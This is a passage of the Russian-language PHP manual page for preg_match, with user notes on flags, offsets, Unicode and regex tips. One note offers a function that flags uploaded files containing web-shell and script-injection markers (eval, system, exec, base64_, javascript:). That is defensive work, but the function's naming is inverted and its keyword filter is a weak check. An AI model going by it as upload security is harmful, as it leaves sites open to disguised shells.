  $pn_offset = strlen(mb_substr($ps_subject, 0, $pn_offset, $ps_encoding));
  $ret = preg_match_all($ps_pattern, $ps_subject, $pa_matches, $pn_flags, $pn_offset);

  if ($ret && ($pn_flags & PREG_OFFSET_CAPTURE))
    foreach($pa_matches as &$ha_match)
      foreach($ha_match as &$ha_match)
        $ha_match[1] = mb_strlen(substr($ps_subject, 0, $ha_match[1]), $ps_encoding);
    //
    // (code is independent of PREG_PATTER_ORDER / PREG_SET_ORDER)

  return $ret;
  }

?>
phpnet at sinful-music dot com 20-Feb-2006 12:53
Here's some fleecy code to 1. validate RCF2822 conformity of address lists and 2. to extract the address specification (the part commonly known as 'email'). I wouldn't suggest using it for input form email checking, but it might be just what you want for other email applications. I know it can be optimized further, but that part I'll leave up to you nutcrackers. The total length of the resulting Regex is about 30000 bytes. That because it accepts comments. You can remove that by setting $cfws to $fws and it shrinks to about 6000 bytes. Conformity checking is absolutely and strictly referring to RFC2822. Have fun and email me if you have any enhancements!

<?php
function mime_extract_rfc2822_address($string)
{
        //rfc2822 token setup
        $crlf           = "(?:\r\n)";
        $wsp            = "[\t ]";
        $text           = "[\\x01-\\x09\\x0B\\x0C\\x0E-\\x7F]";
        $quoted_pair    = "(?:\\\\$text)";
        $fws            = "(?:(?:$wsp*$crlf)?$wsp+)";
        $ctext          = "[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F" .
                          "!-'*-[\\]-\\x7F]";
        $comment        = "(\\((?:$fws?(?:$ctext|$quoted_pair|(?1)))*" .
                          "$fws?\\))";
        $cfws           = "(?:(?:$fws?$comment)*(?:(?:$fws?$comment)|$fws))";
        //$cfws           = $fws; //an alternative to comments
        $atext          = "[!#-'*+\\-\\/0-9=?A-Z\\^-~]";
        $atom           = "(?:$cfws?$atext+$cfws?)";
        $dot_atom_text  = "(?:$atext+(?:\\.$atext+)*)";
        $dot_atom       = "(?:$cfws?$dot_atom_text$cfws?)";
        $qtext          = "[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F!#-[\\]-\\x7F]";
        $qcontent       = "(?:$qtext|$quoted_pair)";
        $quoted_string  = "(?:$cfws?\"(?:$fws?$qcontent)*$fws?\"$cfws?)";
        $dtext          = "[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F!-Z\\^-\\x7F]";
        $dcontent       = "(?:$dtext|$quoted_pair)";
        $domain_literal = "(?:$cfws?\\[(?:$fws?$dcontent)*$fws?]$cfws?)";
        $domain         = "(?:$dot_atom|$domain_literal)";
        $local_part     = "(?:$dot_atom|$quoted_string)";
        $addr_spec      = "($local_part@$domain)";
        $display_name   = "(?:(?:$atom|$quoted_string)+)";
        $angle_addr     = "(?:$cfws?<$addr_spec>$cfws?)";
        $name_addr      = "(?:$display_name?$angle_addr)";
        $mailbox        = "(?:$name_addr|$addr_spec)";
        $mailbox_list   = "(?:(?:(?:(?<=:)|,)$mailbox)+)";
        $group          = "(?:$display_name:(?:$mailbox_list|$cfws)?;$cfws?)";
        $address        = "(?:$mailbox|$group)";
        $address_list   = "(?:(?:^|,)$address)+";

        //output length of string (just so you see how f**king long it is)
        echo(strlen($address_list) . " ");

        //apply expression
        preg_match_all("/^$address_list$/", $string, $array, PREG_SET_ORDER);

        return $array;
};
?>
mnc at u dot nu 02-Feb-2006 10:05
PREG_OFFSET_CAPTURE always seems to provide byte offsets, rather than character position offsets, even when you are using the unicode /u modifier.


Выполняет проверку на соответствие регулярному выражению

  • « preg_match_all
  • preg_quote »
  • PHP Manual
  • Функции PCRE
  • Выполняет проверку на соответствие регулярному выражению

preg_match

(PHP 4, PHP 5, PHP 7, PHP 8)

preg_match — Выполняет проверку на соответствие регулярному выражению

Описание

preg_match(
string $pattern,
string $subject,
array &$matches = null,
int $flags = 0,
int $offset = 0
): int|false

Функция ищет в строке subject совпадения с шаблоном регулярного выражения pattern.

Список параметров

pattern

Искомый шаблон в виде строки.

subject

Входная строка.

matches

Функция заполнит параметр matches результатами поиска, если в функцию передали аргумент для этого параметра. Элемент $matches[0] будет содержать текст, который соответствует вхождению полного шаблона, элемент $matches[1] будет содержать текст, который соответствует первому подшаблону, который захватили круглые скобки, и так далее.

flags

В параметр flags разрешено передавать комбинацию следующих флагов:

PREG_OFFSET_CAPTURE

Если этот флаг указали, для каждой найденной подстроки будет указана её позиция (в байтах) в исходной строке. Необходимо помнить, что этот флаг меняет формат возвращаемого массива matches на массив, каждый элемент которого содержит массив, который содержит в индексе с номером 0 найденную подстроку, а смещение этой подстроки в параметре subject — в индексе 1.

<?php

preg_match('/(foo)(bar)(baz)/', 'foobarbaz', $matches, PREG_OFFSET_CAPTURE);
print_r($matches);

?>

Результат выполнения приведённого примера:

Array
(
    [0] => Array
        (
            [0] => foobarbaz
            [1] => 0
        )

    [1] => Array
        (
            [0] => foo
            [1] => 0
        )

    [2] => Array
        (
            [0] => bar
            [1] => 3
        )

    [3] => Array
        (
            [0] => baz
            [1] => 6
        )

)

PREG_UNMATCHED_AS_NULL

Если этот флаг установили, функция заполнит несовпадающие подшаблоны значениями null; в противном случае они отображаются как пустые строки (string).

<?php

preg_match('/(a)(b)*(c)/', 'ac', $matches);
var_dump($matches);

preg_match('/(a)(b)*(c)/', 'ac', $matches, PREG_UNMATCHED_AS_NULL);
var_dump($matches);

?>

Результат выполнения приведённого примера:

array(4) {
  [0]=>
  string(2) "ac"
  [1]=>
  string(1) "a"
  [2]=>
  string(0) ""
  [3]=>
  string(1) "c"
}
array(4) {
  [0]=>
  string(2) "ac"
  [1]=>
  string(1) "a"
  [2]=>
  NULL
  [3]=>
  string(1) "c"
}

offset

Обычно поиск идёт с начала строки слева направо. Можно установить дополнительный параметр offset, чтобы указать альтернативную начальную позиции для поиска (в байтах).

Замечание:

Поведение параметра offset не эквивалентно замене сопоставляемой строки выражением substr($subject, $offset) при вызове функции preg_match(), поскольку шаблон pattern может содержать условия наподобие ^, $ или (?<=x). Сравните:

<?php

$subject = "abcdef";
$pattern = '/^def/';
preg_match($pattern, $subject, $matches, PREG_OFFSET_CAPTURE, 3);
print_r($matches);

?>

Результат выполнения приведённого примера:

Array
(
)

Тогда как этот пример

<?php

$subject = "abcdef";
$pattern = '/^def/';
preg_match($pattern, substr($subject,3), $matches, PREG_OFFSET_CAPTURE);
print_r($matches);

?>

выведет следующее:

Array
(
    [0] => Array
        (
            [0] => def
            [1] => 0
        )

)

В качестве альтернативы функции substr()() вместо якоря ^ записывают утверждение \G или модификатор A. Они оба работают с параметром offset.

Возвращаемые значения

Функция preg_match() возвращает 1, если параметр pattern соответствует переданному параметру subject, 0, если не соответствует, или false, если возникла ошибка.

Внимание

Функция возвращает как логическое значение false, так и нелогическое значение, которое приводится к false. Прочитайте раздел «Логический тип», чтобы получить дополнительную информацию. Используйте оператор === для проверки значения, которое возвращает функция.

Ошибки

Если передали шаблон регулярного выражения, который не компилируется в допустимое регулярное выражение, выдаётся ошибка уровня E_WARNING.

Список изменений

Версия | Описание
7.2.0 | Теперь константа PREG_UNMATCHED_AS_NULL поддерживается для параметра $flags.

Примеры

Пример #1 Поиск подстроки "php" в тексте

<?php

// Символ "i" после закрывающего разделителя шаблона означает
// регистронезависимый поиск
if (preg_match("/php/i", "PHP is the web scripting language of choice.")) {
echo "Вхождение найдено.";
} else {
echo "Вхождение не найдено.";
}

?>

Пример #2 Поиск слова "web" в тексте

<?php

/* Специальная последовательность \b в шаблоне означает границу слова,
следовательно, только изолированное вхождение слова 'web' будет
соответствовать маске, в отличие от "webbing" или "cobweb" */
if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) {
echo "Вхождение найдено.";
} else {
echo "Вхождение не найдено.";
}

if (preg_match("/\bweb\b/i", "PHP is the website scripting language of choice.")) {
echo "Вхождение найдено.";
} else {
echo "Вхождение не найдено.";
}

?>

Пример #3 Извлечение доменного имени из URL

<?php

// Извлекаем имя хоста из URL
preg_match('@^(?:http://)?([^/]+)@i',
"http://www.php.net/index.html", $matches);
$host = $matches[1];

// Извлекаем две последние части имени хоста
preg_match('/[^.]+\.[^.]+$/', $host, $matches);
echo "доменное имя: {$matches[0]}\n";

?>

Результат выполнения приведённого примера:

доменное имя: php.net

Пример #4 Использование именованных подмасок

<?php

$str = 'foobar: 2008';

preg_match('/(?P<name>\w+): (?P<digit>\d+)/', $str, $matches);

/* Альтернативный вариант */
// preg_match('/(?<name>\w+): (?<digit>\d+)/', $str, $matches);

print_r($matches);

?>

Результат выполнения приведённого примера:

Array
(
    [0] => foobar: 2008
    [name] => foobar
    [1] => foobar
    [digit] => 2008
    [2] => 2008
)

Примечания

Подсказка

Не пользуйтесь функцией preg_match(), если необходимо проверить наличие подстроки в заданной строке. Вызывайте для этого функцию strpos(), поскольку она выполнят эту задачу гораздо быстрее.

Смотрите также

  • "Регулярные выражения PCRE"
  • preg_quote() - Экранирует символы в регулярных выражениях
  • preg_match_all() - Выполняет глобальный поиск шаблона в строке
  • preg_replace() - Выполняет поиск и замену по регулярному выражению
  • preg_split() - Разбивает строку по регулярному выражению
  • preg_last_error() - Возвращает код ошибки выполнения последнего регулярного выражения PCRE
  • preg_last_error_msg() - Возвращает сообщение об ошибке последней запущенной функции PCRE

User Contributed Notes

matt at proweb dot co dot uk 08-Feb-2021 12:07
pcre2-migration

Status: Implemented (in PHP 7.3)

SELinux will prevent PREG_* functions from working

Feb  8 12:40:51 servername setroubleshoot: SELinux is preventing httpd from using the execmem access on a process.

you need to add preg.jit=0 to php.ini or init_set('preg.jit', 0) if you can't do that

try the [PCRE] section so you can find it
chris at ocproducts dot com 28-Dec-2020 03:43
If PREG_OFFSET_CAPTURE is set then unmatched captures (i.e. ones with '?') will not be present in the result array. This is presumably because there is no offset, and thus the original PHP dev decided best to just leave it out.
xcsv at gmx dot net 06-May-2020 08:39
As of PHP 7.2, you can use the following.

If you work with named subpatterns and dont want to bother with unnamed match result entries and unmatched subpatterns, just replace preg_match() with named_preg_match(). This filters all unwanted stuff out.

<?php
function named_preg_match(string $pattern , string $subject, array &$matches = null, int $flags = 0, int $offset = 0) {
    $retval = preg_match($pattern, $subject, $localmatches, PREG_UNMATCHED_AS_NULL | $flags, $offset);
    if ($retval) {
        foreach ($localmatches as $key => $value) {
            if (is_int($key)) $value = null;
            if (is_null($value)) unset($localmatches[$key]);
        }
        $matches = $localmatches;
    }
    return $retval;
}
?>

Hope this will be useful.
ASchmidt at Anamera dot net 06-Feb-2020 05:58
After the breaking change in 7.4, be aware that count( $matches ) may be different, depending on PREG_UNMATCHED_AS_NULL flag.

With PREG_UNMATCHED_AS_NULL, count( $matches ) will always be the maximum number of subpatterns.
However, without PREG_UNMATCHED_AS_NULL the $matches array will omit any unmatched subpatterns at the tail end.

Result forthe first two out of three matches with PREG_OFFSET_CAPTURE flag only:

array (size=3)
  0 =>
    array (size=2)
      0 => string 'may/02' (length=6)
      1 => int 0
  1 =>
    array (size=2)
      0 => string 'may' (length=3)
      1 => int 0
  2 =>
    array (size=2)
      0 => string '02' (length=2)
      1 => int 4

Result for two out of three matches with additional PREG_UNMATCHED_AS_NULL flags:

array (size=4)
  0 =>
    array (size=2)
      0 => string 'may/02' (length=6)
      1 => int 0
  1 =>
    array (size=2)
      0 => string 'may' (length=3)
      1 => int 0
  2 =>
    array (size=2)
      0 => string '02' (length=2)
      1 => int 4
  3 =>
    array (size=2)
      0 => null
      1 => int -1
ASchmidt at Anamera dot net 06-Feb-2020 04:42
Combining flags
PREG_OFFSET_CAPTURE | PREG_UNMATCHED_AS_NULL
will NOT result in a value of NULL for any submatched subpattern.

Instead still results in an array for each unmatched subpattern, in turn containing:

 array (size=2)
      0 => null
      1 => int -1

Consequently your code needs to expect NULL as the string value:
 $matches[ {subpattern+1} ][0] === null
and/or a negative string offset:
 $matches[ {subpattern+1} ][1] < 0
to detect any unmatched subpattern!
danielrydell at gmail dot com 24-Sep-2017 01:25
When trying to match accented characters, such as those found in Spanish, there seems to be a different internal interpretation when using character classes. So the best way is to add the u option (for unicode) after the delimiters.

<?php

//echoes 1 (adding u would not alter the result)
echo preg_match('/^aeioun$/', 'aeioun');

//echoes 0 (unless with [o]+ or [o]* or adding u)
echo preg_match('/^aei[o]un$/', 'aeioun');

//so to match 'espana' or 'espana', add u or this won't match
//echoes 1
echo preg_match('/^espa[nn]a$/u', 'espana');

?>
chat dot noir at arcor dot de 23-Aug-2017 01:56
Note that if a parenthesed group is not matched, its key may or may not be present in $matches. For instance,

<?php preg_match('/(foo)?(bar)?(baz)?/', 'bar', $matches);
print_r($matches);

// outputs
// Array
// (
//     [0] => bar
//     [1] =>
//     [2] => bar
// )
?>
Note that there is no element with key '3' in $matches, but an element with key '1' (the empty string). This inconsistent behavior also applies to named groups.
geompse at gmail dot com 10-Jul-2017 10:13
The function will return false and raise a warning if the input $subject is too long :
[PhpWarning] preg_match(): Subject is too long

I believe the limit is 1 or 2 GB because I was using a 2.2GB string.
While a parameter might exist to alter this limit, in my case it was possible and wiser to use <500MB strings instead.
solixmexico at outlook dot com 12-Oct-2016 11:09
To validate directorys on Windows i used this:

if( preg_match("#^([a-z]{1}\:{1})?[\\\/]?([\-\w]+[\\\/]?)*$#i",$_GET['path'],$matches) !== 1 ){
    echo("Invalid value");
}else{
    echo("Valid value");
}

The parts are:

#^ and $i            Make the string matches at all the pattern, from start to end for ensure a complete match.
([a-z]{1}\:{1})?        The string may starts with one letter and a colon, but only 1 character for eachone, this is for the drive letter (C:)
[\\\/]?            The string may contain, but not require 1 slash or backslash after the drive letter, (\/)
([\-\w]+[\\\/]?)*    The string must have 1 or more of any character like hyphen, letter, number, underscore, and may contain a slash or back slash at the end, to have a directory like ("/" or "folderName" or "folderName/"), this may be repeated one or more times.
asdfasdasad34535 at iflow dot at 21-Jul-2013 09:07
Attention! PREG_OFFSET_CAPTURE not UTF-8 aware when using u modifier
and it's not a but, it's a feature:
https://bugs.php.net/bug.php?id=37391

Possible workaround: Use mb_strpos to get the correct offset, instead of the flag.

 UTF-8 support would be nice.
andre at koethur dot de 17-Jun-2013 08:49
Be aware of bug https://bugs.php.net/bug.php?id=50887 when using sub patterns: Un-matched optional sub patterns at the end won't show up in $matches.

Here is a workaround: Assign a name to all subpatterns you are interested in, and merge $match afterwards with an constant array containing some reasonable default values:

<?php
if (preg_match('/^(?P<lang>[^;*][^;]*){1}(?:;q=(?P<qval>[0-9.]+))?$/u', 'de', $match))
{
  $match = array_merge(array('lang' => '', 'qval' => ''), $match);
  print_r($match);
}
?>

This outputs:
Array
(
    [lang] => de
    [qval] =>
    [0] => de
    [1] => de
)

Instead of:
Array
(
    [0] => de
    [lang] => de
    [1] => de
)
yofilter-php at yahoo dot co dot uk 05-Mar-2013 01:48
There does not seem to be any mention of the PHP version of switches that can be used with regular expressions.

preg_match_all('/regular expr/sim',$text).

The s i m being the location for and available switches (I know about)
The i is to ignore letter cases (this is commonly known - I think)
The s tells the code NOT TO stop searching when it encounters \n (line break) - this is important with multi-line entries for example text from an editor that needs search.
The m tells the code it is a multi-line entry, but importantly allows the use of ^ and $ to work when showing start and end.

I am hoping this will save someone from the 4 hours of torture that I endured, trying to workout this issue.
Yousef Ismaeil Cliprz 04-Feb-2013 01:31
Some times a Hacker use a php file or shell as a image to hack your website. so if you try to use move_uploaded_file() function as in example to allow for users to upload files, you must check if this file contains a bad codes or not so we use this function. preg match

in this function we use

unlink() - http://php.net/unlink

after you upload file check a file with below function.

<?php

/**
 * A simple function to check file from bad codes.
 *
 * @param (string) $file - file path.
 * @author Yousef Ismaeil - Cliprz[at]gmail[dot]com.
 */
function is_clean_file ($file)
{
    if (file_exists($file))
    {
        $contents = file_get_contents($file);
    }
    else
    {
        exit($file." Not exists.");
    }

    if (preg_match('/(base64_|eval|system|shell_|exec|php_)/i',$contents))
    {
        return true;
    }
    else if (preg_match("#&\#x([0-9a-f]+);#i", $contents))
    {
        return true;
    }
    elseif (preg_match('#&\#([0-9]+);#i', $contents))
    {
        return true;
    }
    elseif (preg_match("#([a-z]*)=([\`\'\"]*)script:#iU", $contents))
    {
        return true;
    }
    elseif (preg_match("#([a-z]*)=([\`\'\"]*)javascript:#iU", $contents))
    {
        return true;
    }
    elseif (preg_match("#([a-z]*)=([\'\"]*)vbscript:#iU", $contents))
    {
        return true;
    }
    elseif (preg_match("#(<[^>]+)style=([\`\'\"]*).*expression\([^>]*>#iU", $contents))
    {
        return true;
    }
    elseif (preg_match("#(<[^>]+)style=([\`\'\"]*).*behaviour\([^>]*>#iU", $contents))
    {
        return true;
    }
    elseif (preg_match("#</*(applet|link|style|script|iframe|frame|frameset|html|body|title|div|p|form)[^>]*>#i", $contents))
    {
        return true;
    }
    else
    {
        return false;
    }
}
?>

Use

<?php
// If image contains a bad codes
$image   = "simpleimage.png";

if (is_clean_file($image))
{
    echo "Bad codes this is not image";
    unlink($image);
}
else
{
    echo "This is a real image.";
}
?>
Anonymous 24-Sep-2012 08:02
Here is a function that decreases the numbers inside a string (useful to convert DOM object into simplexml object)

e.g.: decremente_chaine("somenode->anode[2]->achildnode[3]") will return "somenode->anode[1]->achildnode[2]"

the numbering of the nodes in simplexml starts from zero, but from 1 in DOM xpath objects

<?php
function decremente_chaine($chaine)
    {
        //recuperer toutes les occurrences de nombres et leurs indices
        preg_match_all("/[0-9]+/",$chaine,$out,PREG_OFFSET_CAPTURE);
            //parcourir les occurrences
            for($i=0;$i<sizeof($out[0]);$i++)
            {
                $longueurnombre = strlen((string)$out[0][$i][0]);
                $taillechaine = strlen($chaine);
                // decouper la chaine en 3 morceaux
                $debut = substr($chaine,0,$out[0][$i][1]);
                $milieu = ($out[0][$i][0])-1;
                $fin = substr($chaine,$out[0][$i][1]+$longueurnombre,$taillechaine);
                 // si c'est 10,100,1000 etc. on decale tout de 1 car le resultat comporte un chiffre de moins
                 if(preg_match('#[1][0]+$#', $out[0][$i][0]))
                 {
                    for($j = $i+1;$j<sizeof($out[0]);$j++)
                    {
                        $out[0][$j][1] = $out[0][$j][1] -1;
                    }
                 }
                $chaine = $debut.$milieu.$fin;
            }
        return $chaine;
    }
?>
jphansen at uga dot edu 22-May-2012 07:41
Here's a regex to validate against the schema for common MySQL
 identifiers:

<?php
$string = "$table_name";
if (preg_match("/[^\\d\\sa-zA-Z$_]/", $string))
  echo "Failed validation";
?>
ulli dot luftpumpe at murkymind dot de 07-Apr-2012 10:32
Matching a backslash character can be confusing, because double escaping is needed in the pattern: first for PHP, second for the regex engine
<?php
//match newline control character:
preg_match('/\n/','\n');   //pattern matches and is stored as control character 0x0A in the pattern string
preg_match('/\\\n/','\n'); //very same match, but is stored escaped as 0x5C,0x6E in the pattern string

//trying to match "\'" (2 characters) in a text file, '\\\'' as PHP string:
$subject = file_get_contents('myfile.txt');
preg_match('/\\\'/',$subject);    //DOESN'T MATCH!!! stored as 0x5C,0x27 (escaped apostrophe), this only matches apostrophe
preg_match('/\\\\\'/',$subject);  //matches, stored as 0x5C,0x5C,0x27 (escaped backslash and unescaped apostrophe)
preg_match('/\\\\\\\/',$subject); //also matches, stored as 0x5C,0x5C,0x5C,0x27 (escaped backslash and escaped apostrophe)

//matching "\n" (2 characters):
preg_match('/\\\\n/','\\n');
preg_match('/\\\n/','\\n'); //same match - 3 backslashes are interpreted as 2 in PHP, if the following character is not escapeable
?>
aer0s 16-Mar-2012 09:15
Simple function to return a sub-string following the preg convention. Kind of expensive, and some might say lazy but it has saved me time.

# preg_substr($pattern,$subject,[$offset]) function
# @author   aer0s
#  return a specific sub-string in a string using
#   a regular expression
# @param   $pattern   regular expression pattern to match
# @param   $subject   string to search
# @param   [$offset]   zero based match occurrence to return
#
# [$offset] is 0 by default which returns the first occurrence,
# if [$offset] is -1 it will return the last occurrence

function preg_substr($pattern,$subject,$offset=0){
    preg_match_all($pattern,$subject,$matches,PREG_PATTERN_ORDER);
    return $offset==-1?array_pop($matches[0]):$matches[0][$offset];
}

example:

             $pattern = "/model(\s|-)[a-z0-9]/i";
             $subject = "Is there something wrong with model 654, Model 732, and model 43xl or is Model aj45B the preferred choice?";

             echo preg_substr($pattern,$subject);
             echo preg_substr($pattern,$subject,1);
             echo preg_substr($pattern,$subject,-1);

Returns something like:

             model 654
             Model 732
             Model aj45B
Nimja 10-Feb-2012 11:12
When using a 'bad words reject string' filter, preg_match is MUCH faster than strpos / stripos. Because in the other cases, you would need to do a foreach for each word. With efficient programming, the foreach is ONLY faster when the first word in the ban-list is found.

(for 12 words, 100,000 iterations, no word found)
stripos - Taken 1.4876 seconds.
strpos - Taken 1.4207 seconds.
preg_match - Taken 0.189 seconds.

Interesting fact:
With long words ('averylongwordtospitepreg'), the difference is only much less. Only about a 2/3rd of the time instead of 1/6th

<?php

$words = array('word1', 'word2', 'word3', 'word4', 'word5', 'word6', 'word7', 'word8', 'word9', 'word10', 'word11', 'word12' );
$teststring = 'ThIs Is A tEsTsTrInG fOr TeStInG.';
$count = 100000;
$find = 0;

$start = microtime(TRUE);
for ($i = 0; $i < $count; $i++) {
    foreach ($words as $word) {
        if (stripos($teststring, $word) !== FALSE) {
            $find++;
            break;
        }
    }
}
echo 'stripos - Taken ' . round(microtime(TRUE) - $start, 4) . ' seconds.' . PHP_EOL;

$start = microtime(TRUE);
for ($i = 0; $i < $count; $i++) {
    foreach ($words as $word) {
        if (strpos($teststring, $word) !== FALSE) {
            $find++;
            break;
        }
    }
}
echo 'strpos - Taken ' . round(microtime(TRUE) - $start, 4) . ' seconds.' . PHP_EOL;

$start = microtime(TRUE);
$pattern = '/';
$div = '';
foreach ($words as $word) {
    $pattern .= $div . preg_quote($word);
    $div = '|';
}
$pattern .= '/i';
//Pattern could easily be done somewhere else if words are static.
for ($i = 0; $i < $count; $i++) {
    if (preg_match($pattern, $teststring)) {
        $find++;
    }
}
$end = microtime(TRUE);
echo 'preg_match - Taken ' . round($end - $start, 4) . ' seconds.' . PHP_EOL;
?>
Jonny 5 07-Dec-2011 09:55
Workaround for getting the offset in UTF-8
(in some cases mb_strpos might be an option as well)

<?php
if(preg_match($pattern,$haystack,$out,PREG_OFFSET_CAPTURE)) {
    $offset = strlen(utf8_decode(substr($haystack,0,$out[0][1])));
}
?>
force at md-t dot org 25-Sep-2011 11:38
Simple regex

Regex quick reference
[abc]     A single character: a, b or c
[^abc]     Any single character but a, b, or c
[a-z]     Any single character in the range a-z
[a-zA-Z]     Any single character in the range a-z or A-Z
^     Start of line
$     End of line
\A     Start of string
\z     End of string
.     Any single character
\s     Any whitespace character
\S     Any non-whitespace character
\d     Any digit
\D     Any non-digit
\w     Any word character (letter, number, underscore)
\W     Any non-word character
\b     Any word boundary character
(...)     Capture everything enclosed
(a|b)     a or b
a?     Zero or one of a
a*     Zero or more of a
a+     One or more of a
a{3}     Exactly 3 of a
a{3,}     3 or more of a
a{3,6}     Between 3 and 6 of a

options: i case insensitive m make dot match newlines x ignore whitespace in regex o perform #{...} substitutions only once
cmallabon at homesfactory dot com 30-Aug-2011 10:28
Just an interesting note. Was just updating code to replace ereg() with strpos() and preg_match and the thought occured that preg_match() could be optimized to quit early when only searching if a string begins with something, for example
<?php
if(preg_match("/^http/", $url))
{
 //do something
}
?>

 vs

<?php
if(strpos($url, "http") === 0)
{
//do something
}
?>

As I guessed, strpos() is always faster (about 2x) for short strings like a URL but for very long strings of several paragraphs (e.g. a block of XML) when the string doesn't start with the needle preg_match as twice as fast as strpos() as it doesn't scan the entire string.

So, if you are searching long strings and expect it to normally be true (e.g. validating XML), strpos() is a much faster BUT if you expect if to often fail, preg_match is the better choice.
ayman2243 at gmail dot com 30-Aug-2011 04:55
highlight Search Words

<?php
function highlight($word, $subject) {

    $split_subject = explode(" ", $subject);
    $split_word = explode(" ", $word);

    foreach ($split_subject as $k => $v){
           foreach ($split_word as $k2 => $v2){
               if($v2 == $v){

                   $split_subject[$k] = "<span class='highlight'>".$v."</span>";

               }
           }
      }

      return implode(' ', $split_subject);
}
?>
workhorse at op dot pl 11-Aug-2011 12:53
Preg_match returns empty result trying to validate $subject with carriege returns (/n/r).
To solve it one need to use /s modifier in $pattern string.
<?php
$pattern='/.*/s';
$valid=preg_match($pattern, $subject, $match);
?>
itworkarounds at gmail dot com 09-Aug-2011 09:08
You can use the following code to detect non-latin (Cyrilic, Arabic, Greek...) characters:

<?php
preg_match("/^[a-zA-Z\p{Cyrillic}0-9\s\-]+$/u", "ABC abc 1234 АБВ абв");
?>
mohammad40g at gmail dot com 01-Aug-2011 09:23
This sample is for checking persian character:

<?php
   preg_match("/[\x{0600}-\x{06FF}\x]{1,32}/u", '????');
?>
sun at drupal dot org 23-Jun-2011 05:56
Basic test for invalid UTF-8 that can hi-jack IE:

<?php
$valid = (preg_match('/^./us', $text) == 1);
?>
See http://api.drupal.org/api/drupal/includes--bootstrap.inc/function/drupal_validate_utf8/7 for details.

---

Test for valid UTF-8 and XML/XHTML character range compatibility:

<?php
$invalid = preg_match('@[^\x9\xA\xD\x20-\x{D7FF}\x{E000}-\x{FFFD}\x{10000}-\x{10FFFF}]@u', $text)
?>
Ref: http://www.w3.org/TR/2000/REC-xml-20001006#charsets
MrBull 20-Mar-2011 07:32
Sometimes its useful to negate a string. The first method which comes to mind to do this is: [^(string)] but this of course won't work. There is a solution, but it is not very well known. This is the simple piece of code on how a negation of a string is done:

(?:(?!string).)

?: makes a subpattern (see http://www.php.net/manual/en/regexp.reference.subpatterns.php) and ?! is a negative look ahead. You put the negative look ahead in front of the dot because you want the regex engine to first check if there is an occurrence of the string you are negating. Only if it is not there, you want to match an arbitrary character.

Hope this helps some ppl.
arash dot hemmat at gmail dot com 02-Feb-2011 07:15
For those who search for a unicode regular expression example using preg_match here it is:

Check for Persian digits
preg_match( "/[^\x{06F0}-\x{06F9}\x]+/u" , '??????????' );
Frank 26-Jan-2011 12:12
If someone is from a country that accepts decimal numbers in format 9.00 and 9,00 (point or comma), number validation would be like that:
<?php
$number_check = "9,99";
if (preg_match( '/^[\-+]?[0-9]*\.*\,?[0-9]+$/', $number_check)) {
    return TRUE;
}
?>

However, if the number will be written in the database, most probably this comma needs to be replaced with a dot.
This can be done with use of str_replace, i.e :
<?php
$number_database = str_replace("," , "." , $number_check);
?>
sainnr at gmail dot com 30-Dec-2010 06:12
This sample regexp may be useful if you are working with DB field types.

(?P<type>\w+)($|\((?P<length>(\d+|(.*)))\))

For example, if you are have a such type as "varchar(255)" or "text", the next fragment

<?php
   $type = 'varchar(255)';  // type of field
   preg_match('/(?P<type>\w+)($|\((?P<length>(\d+|(.*)))\))/', $type, $field);
   print_r($field);
?>

will output something like this:
Array ( [0] => varchar(255) [type] => varchar [1] => varchar [2] => (255) [length] => 255 [3] => 255 [4] => 255 )
ian_channing at hotmail dot com 27-Dec-2010 01:55
When trying to check a file path that could be windows or unix it took me quite a few tries to get the escape characters right.

The Unix directory separator must be escaped once and the windows directory separator must be escaped twice.

This will match path/to/file and path\to\file.exe

preg_match('/^[a-z0-9_.\/\\\]*$/i', $file_string);
SoN9ne at gmail dot com 08-Jun-2010 10:10
I have been working on a email system that will automatically generate a text email from a given HTML email by using strip_tags().
The only issue I ran into, for my needs, were that the anchors would not keep their links.
I search for a little while and could not find anything to strip the links from the tags so I generated my own little snippet.
I am posting it here in hopes that others may find it useful and for later reference.

A note to keep in mind:
I was primarily concerned with valid HTML so if attributes do no use ' or " to contain the values then this will need to be tweaked.
If you can edit this to work better, please let me know.
<?php
/**
 * Replaces anchor tags with text
 * - Will search string and replace all anchor tags with text (case insensitive)
 *
 * How it works:
 * - Searches string for an anchor tag, checks to make sure it matches the criteria
 *         Anchor search criteria:
 *             - 1 - <a (must have the start of the anchor tag )
 *             - 2 - Can have any number of spaces or other attributes before and after the href attribute
 *             - 3 - Must close the anchor tag
 *
 * - Once the check has passed it will then replace the anchor tag with the string replacement
 * - The string replacement can be customized
 *
 * Know issue:
 * - This will not work for anchors that do not use a ' or " to contain the attributes.
 *         (i.e.- <a href=http: //php.net>PHP.net</a> will not be replaced)
 */
function replaceAnchorsWithText($data) {
    /**
     * Had to modify $regex so it could post to the site... so I broke it into 6 parts.
     */
    $regex  = '/(<a\s*'; // Start of anchor tag
    $regex .= '(.*?)\s*'; // Any attributes or spaces that may or may not exist
    $regex .= 'href=[\'"]+?\s*(?P<link>\S+)\s*[\'"]+?'; // Grab the link
    $regex .= '\s*(.*?)\s*>\s*'; // Any attributes or spaces that may or may not exist before closing tag
    $regex .= '(?P<name>\S+)'; // Grab the name
    $regex .= '\s*<\/a>)/i'; // Any number of spaces between the closing anchor tag (case insensitive)

    if (is_array($data)) {
        // This is what will replace the link (modify to you liking)
        $data = "{$data['name']}({$data['link']})";
    }
    return preg_replace_callback($regex, 'replaceAnchorsWithText', $data);
}

$input  = 'Test 1: <a href="http: //php.net1">PHP.NET1</a>.<br />';
$input .= 'Test 2: <A name="test" HREF=\'HTTP: //PHP.NET2\' target="_blank">PHP.NET2</A>.<BR />';
$input .= 'Test 3: <a hRef=http: //php.net3>php.net3</a><br />';
$input .= 'This last line had nothing to do with any of this';

echo replaceAnchorsWithText($input).'<hr/>';
?>
Will output:
Test 1: PHP.NET1(http: //php.net1).
Test 2: PHP.NET2(HTTP: //PHP.NET2).
Test 3: php.net3 (is still an anchor)
This last line had nothing to do with any of this

Posting to this site is painful...
Had to break up the regex and had to break the test links since it was being flagged as spam...
teracci2002 09-Apr-2010 09:00
When you use preg_match() for security purpose or huge data processing,
mayby you should make consideration for backtrack_limit and recursion_limit.
http://www.php.net/manual/en/pcre.configuration.php

These limits may bring wrong matching result.
You can verify whether you hit these limits by checking preg_last_error().
http://www.php.net/manual/en/function.preg-last-error.php
Kae Cyphet 17-Mar-2010 06:29
for those coming over from ereg, preg_match can be quite intimidating. to get started here is a migration tip.

<?php
